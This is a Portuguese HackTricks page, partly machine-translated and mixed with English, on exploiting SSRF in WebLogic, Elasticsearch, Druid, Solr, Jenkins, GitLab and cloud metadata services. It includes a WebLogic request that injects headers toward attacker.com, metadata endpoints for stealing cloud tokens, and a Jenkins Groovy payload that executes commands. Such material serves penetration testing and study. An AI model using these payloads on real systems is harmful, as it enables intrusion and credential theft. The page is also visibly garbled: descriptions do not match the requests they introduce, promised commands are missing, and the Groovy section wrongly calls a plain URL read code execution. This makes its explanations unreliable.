* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Se você tiver um SSRF cego onde você pode enviar solicitações POST, você pode desligar a instância do Elasticsearch enviando uma solicitação POST para o seguinte caminho:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
A Server-Side Request Forgery (SSRF) é uma vulnerabilidade comum que permite que um invasor envie solicitações HTTP de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.
O IIS é um servidor web da Microsoft que é amplamente utilizado em ambientes Windows. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Os invasores podem explorar essa vulnerabilidade para acessar recursos internos ou externos não autorizados.
O ASP.NET é um framework de desenvolvimento web da Microsoft. Ele também pode ser vulnerável a ataques de SSRF se não for implementado corretamente. Os invasores podem explorar essa vulnerabilidade para enviar solicitações HTTP para outros recursos internos ou externos.
Além disso, vários serviços de nuvem baseados em Windows, como o Azure e o AWS, podem ser vulneráveis a ataques de SSRF se não forem configurados corretamente. Os invasores podem explorar essa vulnerabilidade para acessar recursos internos ou externos não autorizados nessas plataformas.
É importante lembrar que a segurança dessas plataformas depende da configuração correta e das práticas recomendadas de segurança. Os administradores de sistemas devem garantir que todas as configurações sejam revisadas e atualizadas regularmente para evitar vulnerabilidades de SSRF.
Este comando envia uma solicitação POST para desligar um supervisor específico nos Apache Druid Overlords. Substitua `{supervisorId}` pelo ID do supervisor que você deseja desligar. Certifique-se de que o Apache Druid esteja em execução localmente na porta 8090.
> Para complementar o que o shubham está dizendo - a varredura para o Solr é relativamente fácil. Existe um parâmetro shards= que permite que você salte de SSRF para SSRF para verificar se está atingindo uma instância do Solr às cegas.
[Pesquisa sobre RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
Server-Side Request Forgery (SSRF), ou Forjamento de Requisições do Lado do Servidor, é uma vulnerabilidade que permite que um atacante envie requisições a partir do servidor alvo para outros sistemas internos ou externos. Essa vulnerabilidade pode ser explorada para acessar recursos sensíveis, como arquivos internos, bancos de dados ou serviços na nuvem.
Neste documento, discutiremos algumas plataformas populares que são vulneráveis a SSRF e como explorar essa vulnerabilidade nelas.
A AWS EC2 Metadata Service é um serviço fornecido pela Amazon Web Services (AWS) que permite que as instâncias EC2 obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. No entanto, se a instância EC2 estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint `http://169.254.169.254/latest/meta-data/` para obter os metadados da instância EC2.
### 2. Google Cloud Metadata Service
O Google Cloud Metadata Service é um serviço semelhante ao AWS EC2 Metadata Service, fornecido pelo Google Cloud Platform (GCP). Ele permite que as instâncias do Google Compute Engine obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. Da mesma forma que a AWS EC2 Metadata Service, se uma instância do Google Compute Engine estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint `http://metadata.google.internal/computeMetadata/v1/` para obter os metadados da instância do Google Compute Engine.
O Azure Instance Metadata Service é um serviço fornecido pela Microsoft Azure que permite que as instâncias do Azure obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. Da mesma forma que a AWS EC2 Metadata Service e o Google Cloud Metadata Service, se uma instância do Azure estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint `http://169.254.169.254/metadata/instance?api-version=2019-06-01` para obter os metadados da instância do Azure.
A SSRF é uma vulnerabilidade séria que pode permitir que um atacante acesse recursos sensíveis em sistemas internos ou externos. É importante que as organizações estejam cientes dessas vulnerabilidades e tomem medidas para mitigá-las, como validar e filtrar as entradas do usuário e restringir o acesso a serviços sensíveis.
Siga as instruções aqui para obter RCE via GET: [Hacking Jenkins Parte 2 - Abusando da Meta Programação para RCE não autenticada!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
Remote Code Execution (RCE) via Groovy is a vulnerability that allows an attacker to execute arbitrary code on the target server by exploiting a Server-Side Request Forgery (SSRF) vulnerability.
Groovy is a powerful scripting language that runs on the Java Virtual Machine (JVM). It is often used in web applications to perform various tasks, such as data processing and automation.
When an application allows user-supplied input to be passed to a Groovy script without proper validation and sanitization, it can lead to an SSRF vulnerability. An attacker can craft a malicious request that tricks the server into making unintended requests to internal resources, such as the local file system or other internal services.
To exploit this vulnerability, an attacker needs to identify a vulnerable endpoint that accepts user-supplied input and passes it to a Groovy script. The attacker can then manipulate the input to make the server execute arbitrary code.
def url = new URL(params.url) // User-supplied input
def connection = url.openConnection()
def inputStream = connection.getInputStream()
def reader = new BufferedReader(new InputStreamReader(inputStream))
def response = reader.readLine()
println(response) // Arbitrary code execution
```
In this example, the `params.url` variable represents user-supplied input that is not properly validated. The attacker can provide a malicious URL that points to a script they control. The server will make a request to the attacker's script and execute the arbitrary code specified in the script.
To prevent RCE via Groovy, it is essential to validate and sanitize all user-supplied input before passing it to a Groovy script. Additionally, it is recommended to restrict the server's access to internal resources and implement proper access controls to prevent unauthorized requests.
It is important for developers and security professionals to be aware of this vulnerability and take appropriate measures to mitigate the risk. Regular security assessments, such as penetration testing, can help identify and address SSRF vulnerabilities before they can be exploited.
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Existem algumas plataformas vulneráveis que permitem a execução de imagens Docker arbitrárias, o que pode levar a uma vulnerabilidade de execução remota de código (RCE). Essa vulnerabilidade ocorre quando um aplicativo permite que o usuário especifique uma imagem Docker para ser executada sem a devida validação ou restrições.
Um atacante pode explorar essa vulnerabilidade fornecendo uma imagem Docker maliciosa que contenha um payload para executar comandos arbitrários no servidor. Isso pode permitir que o atacante assuma o controle total do sistema e execute comandos com os privilégios do usuário que está executando o contêiner Docker.
É importante mencionar que essa vulnerabilidade só existe em plataformas que permitem a execução de imagens Docker arbitrariamente e não implementam medidas de segurança adequadas. Portanto, é fundamental manter todas as plataformas atualizadas e aplicar as melhores práticas de segurança para evitar a exploração dessa vulnerabilidade.
Essa vulnerabilidade afeta instâncias do Gitlab anteriores à versão 13.1.1. De acordo com a [documentação do Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus), `Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.`
Esses exportadores fornecem um excelente método para um invasor se movimentar e atacar outros serviços usando o CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.
* [Tentando hackear o Redis através de solicitações HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
A Server-Side Request Forgery (SSRF) é uma vulnerabilidade que permite que um invasor envie solicitações HTTP a partir de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.
- **Gopher**: O protocolo Gopher é um protocolo de transferência de documentos que permite que os usuários acessem e recuperem recursos de servidores remotos. No entanto, o Gopher também pode ser explorado para realizar ataques SSRF, pois permite que os usuários especifiquem URLs arbitrárias para recuperar recursos.
É importante destacar que a lista acima não é exaustiva e existem outras plataformas que também podem ser vulneráveis a SSRF. É fundamental que os desenvolvedores e administradores de sistemas estejam cientes dessas vulnerabilidades e implementem medidas de segurança adequadas para mitigar os riscos associados a elas.
Embora isso exija acesso autenticado ao GitLab para ser explorado, estou incluindo o payload aqui, pois o protocolo `git` pode funcionar no alvo que você está hackeando. Este payload é apenas para referência.
Vulnerabilidades cegas de _SSRF_ que permitem bytes arbitrários (baseados em _gopher_) podem ser usadas para realizar ataques de desserialização ou de código na componentes padrão do _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Uma descrição detalhada pode ser encontrada [aqui](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). A listagem a seguir mostra um exemplo de geração de payload:
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
